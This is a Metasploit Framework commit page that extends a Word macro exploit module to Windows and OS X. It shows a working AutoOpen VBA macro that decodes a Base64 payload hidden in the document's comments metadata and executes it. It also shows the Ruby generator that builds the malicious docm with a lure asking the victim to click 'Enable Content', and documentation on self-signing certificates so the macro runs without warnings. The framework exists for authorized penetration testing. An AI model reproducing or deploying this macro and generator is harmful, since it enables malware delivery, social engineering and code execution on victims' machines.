Skip to content

Commit 83cc28a

Browse files
committed
Land rapid7#7972, Microsoft Office Word Macro Generator OS X Edition
2 parents 243ec5f + 1f23b44 commit 83cc28a

File tree

6 files changed

+189
-27
lines changed

6 files changed

+189
-27
lines changed

data/exploits/office_word_macro/word/vbaData.xml

100644100755
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2-
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
2+
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>

data/exploits/office_word_macro/word/vbaProject.bin

100644100755
5 KB
Binary file not shown.

documentation/modules/exploit/windows/fileformat/office_word_macro.md renamed to documentation/modules/exploit/multi/fileformat/office_word_macro.md

Lines changed: 40 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
12
## Description
23

34
This module generates a macro-enabled Microsoft Office Word document. It does not target a specific
@@ -8,25 +9,22 @@ There are many ways to create this type of malicious doc. The module injects the
89
payload in the comments field, which will get decoded back by the macro and executed as a Windows
910
executable when the Office document is launched.
1011

11-
Please note: By default, Microsoft Office does not execute macros automatically. If a macro is
12-
present, the user will most likely need to manually click on the "Enable Content" button in order
13-
to run the macro.
14-
1512

1613
## Vulnerable Application
1714

18-
A Windows machine with Microsoft Office installed. The Office application must support the docm
15+
A Windows or OSX machine with Microsoft Office installed. The Office application must support the docm
1916
format.
2017

2118
Specifically, this module was tested specifically against:
2219

2320
* Microsoft Office 2010.
2421
* Microsoft Office 2013.
2522
* Microsoft Office 2016.
23+
* Microsoft Office Word 15.29.1 (161215).
2624

2725
## Verification Steps
2826

29-
1. ```use exploit/windows/fileformat/office_word_macro```
27+
1. ```use exploit/multi/fileformat/office_word_macro```
3028
2. ```set PAYLOAD [PAYLOAD NAME]```
3129
3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc)
3230
4. ```exploit```
@@ -51,7 +49,7 @@ To use this exploit in a real environment, you will most likely need to modify t
5149
Here's one approach you can do:
5250

5351
1. Use the module to generate the malicious docm
54-
2. Copy the malicious docm to a Windows machine, and edit it with Microsoft Office (such as 2013).
52+
2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013).
5553
When you open the document, the payload will probably do something on your machine. It's ok,
5654
since you generated it, it should not cause any problems for you.
5755
3. Save the doc, and test again to make sure the payload still works.
@@ -62,3 +60,38 @@ While editing, you should avoid modifying the following unless you are an advanc
6260
in front of the payload string. The blank space is for making the payload less obvious
6361
at first sight if the user views the file properties.
6462
* The VB code in the macro.
63+
64+
## Trusted Document
65+
66+
By default, Microsoft Office does not execute macros automatically unless it is considered as a
67+
trusted document. This means that if a macro is present, the user will most likely need to manually
68+
click on the "Enable Content" button in order to run the macro.
69+
70+
Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick
71+
the user into allowing the macro to run. For example, making the document look like something
72+
written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory).
73+
74+
To truly make the macro document to run without any warnings, you must somehow figure out a way to
75+
sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts.
76+
77+
For testing purposes, another way to have a certificate is to create a self-signed one using
78+
Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on
79+
Windows:
80+
81+
```
82+
C:\Program Files\Microsoft Office\root\Office16\SELFCERT.exe
83+
```
84+
85+
In Office 2010, the self-signing tool is actually an option in the Office tools folder in the
86+
start menu. It should be named "Digital Certificate for VBA Projects".
87+
88+
Double-click on the executable, enter a random name and click "OK", at this point you have a
89+
certificate to play with.
90+
91+
Next, we want to flag this certificate as trusted:
92+
93+
1. Click on Start, and then enter "Internet Options".
94+
2. Click on the Content tab, and then click on the Certificates button.
95+
3. You should see your new certificate under the Personal tab, export it.
96+
4. Click on the Trusted Publishers, and then import your personal certificate.
97+
5. Try the macro exploit again, it should run the malicious code without warning.

external/source/exploits/office_word_macro/macro.vba

Lines changed: 23 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long
2+
13
Sub AutoOpen()
24
On Error Resume Next
35
Dim found_value As String
@@ -6,17 +8,31 @@ Sub AutoOpen()
68
If prop.Name = "Comments" Then
79
found_value = Mid(prop.Value, 56)
810
orig_val = Base64Decode(found_value)
9-
Set fso = CreateObject("Scripting.FileSystemObject")
10-
tmp_folder = fso.GetSpecialFolder(2)
11-
tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
12-
Set f = fso.createTextFile(tmp_name)
13-
f.Write (orig_val)
14-
f.Close
15-
CreateObject("WScript.Shell").Run (tmp_name)
11+
#If Mac Then
12+
ExecuteForOSX (orig_val)
13+
#Else
14+
ExecuteForWindows (orig_val)
15+
#End If
16+
Exit For
1617
End If
1718
Next
1819
End Sub
1920

21+
Sub ExecuteForWindows(code)
22+
On Error Resume Next
23+
Set fso = CreateObject("Scripting.FileSystemObject")
24+
tmp_folder = fso.GetSpecialFolder(2)
25+
tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
26+
Set f = fso.createTextFile(tmp_name)
27+
f.Write (code)
28+
f.Close
29+
CreateObject("WScript.Shell").Run (tmp_name)
30+
End Sub
31+
32+
Sub ExecuteForOSX(code)
33+
system ("echo """ & code & """ | python &")
34+
End Sub
35+
2036

2137
' Decodes a base-64 encoded string (BSTR type).
2238
' 1999 - 2004 Antonin Foller, http://www.motobit.com
@@ -27,31 +43,23 @@ Function Base64Decode(ByVal base64String)
2743
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
2844
Dim dataLength, sOut, groupBegin
2945

30-
'remove white spaces, If any
3146
base64String = Replace(base64String, vbCrLf, "")
3247
base64String = Replace(base64String, vbTab, "")
3348
base64String = Replace(base64String, " ", "")
3449

35-
'The source must consists from groups with Len of 4 chars
3650
dataLength = Len(base64String)
3751
If dataLength Mod 4 <> 0 Then
3852
Err.Raise 1, "Base64Decode", "Bad Base64 string."
3953
Exit Function
4054
End If
4155

4256

43-
' Now decode each group:
4457
For groupBegin = 1 To dataLength Step 4
4558
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
46-
' Each data group encodes up To 3 actual bytes.
4759
numDataBytes = 3
4860
nGroup = 0
4961

5062
For CharCounter = 0 To 3
51-
' Convert each character into 6 bits of data, And add it To
52-
' an integer For temporary storage. If a character is a '=', there
53-
' is one fewer data byte. (There can only be a maximum of 2 '=' In
54-
' the whole string.)
5563

5664
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
5765

@@ -69,18 +77,14 @@ Function Base64Decode(ByVal base64String)
6977
nGroup = 64 * nGroup + thisData
7078
Next
7179

72-
'Hex splits the long To 6 groups with 4 bits
7380
nGroup = Hex(nGroup)
7481

75-
'Add leading zeros
7682
nGroup = String(6 - Len(nGroup), "0") & nGroup
7783

78-
'Convert the 3 byte hex integer (6 chars) To 3 characters
7984
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
8085
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
8186
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
8287

83-
'add numDataBytes characters To out string
8488
sOut = sOut & Left(pOut, numDataBytes)
8589
Next
8690

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/zip'
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::FILEFORMAT
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Microsoft Office Word Malicious Macro Execution",
18+
'Description' => %q{
19+
This module generates a macro-enabled Microsoft Office Word document. The comments
20+
metadata in the data is injected with a Base64 encoded payload, which will be
21+
decoded by the macro and execute as a Windows executable.
22+
23+
For a successful attack, the victim is required to manually enable macro execution.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'sinn3r' # Metasploit
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
33+
],
34+
'DefaultOptions' =>
35+
{
36+
'EXITFUNC' => 'thread',
37+
'DisablePayloadHandler' => true
38+
},
39+
'Targets' =>
40+
[
41+
[
42+
'Microsoft Office Word on Windows',
43+
{
44+
'Platform' => 'win',
45+
}
46+
],
47+
[
48+
'Microsoft Office Word on Mac OS X (Python)',
49+
{
50+
'Platform' => 'python',
51+
'Arch' => ARCH_PYTHON
52+
}
53+
]
54+
],
55+
'Privileged' => false,
56+
'DisclosureDate' => "Jan 10 2012"
57+
))
58+
59+
register_options([
60+
OptString.new("BODY", [false, 'The message for the document body',
61+
'Contents of this document are protected. Please click Enable Content to continue.'
62+
]),
63+
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
64+
], self.class)
65+
end
66+
67+
68+
def on_file_read(short_fname, full_fname)
69+
buf = File.read(full_fname)
70+
71+
case short_fname
72+
when /document\.xml/
73+
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
74+
when /core\.xml/
75+
p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe
76+
b64_payload = ' ' * 55
77+
b64_payload << Rex::Text.encode_base64(p)
78+
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
79+
end
80+
81+
# The original filename of __rels is actually ".rels".
82+
# But for some reason if that's our original filename, it won't be included
83+
# in the archive. So this hacks around that.
84+
case short_fname
85+
when /__rels/
86+
short_fname.gsub!(/\_\_rels/, '.rels')
87+
end
88+
89+
yield short_fname, buf
90+
end
91+
92+
93+
def package_docm(path)
94+
zip = Rex::Zip::Archive.new
95+
96+
Dir["#{path}/**/**"].each do |file|
97+
p = file.sub(path+'/','')
98+
99+
if File.directory?(file)
100+
print_status("Packaging directory: #{file}")
101+
zip.add_file(p)
102+
else
103+
on_file_read(p, file) do |fname, buf|
104+
print_status("Packaging file: #{fname}")
105+
zip.add_file(fname, buf)
106+
end
107+
end
108+
end
109+
110+
zip.pack
111+
end
112+
113+
114+
def exploit
115+
print_status('Generating our docm file...')
116+
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
117+
docm = package_docm(path)
118+
file_create(docm)
119+
super
120+
end
121+
122+
end

modules/exploits/windows/fileformat/office_word_macro.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,9 @@ class MetasploitModule < Msf::Exploit::Remote
1111

1212
include Msf::Exploit::FILEFORMAT
1313
include Msf::Exploit::EXE
14+
include Msf::Module::Deprecated
15+
16+
deprecated(Date.new(2017, 3, 16), 'exploit/multi/fileformat/office_word_macro')
1417

1518
def initialize(info={})
1619
super(update_info(info,

0 commit comments

Comments
 (0)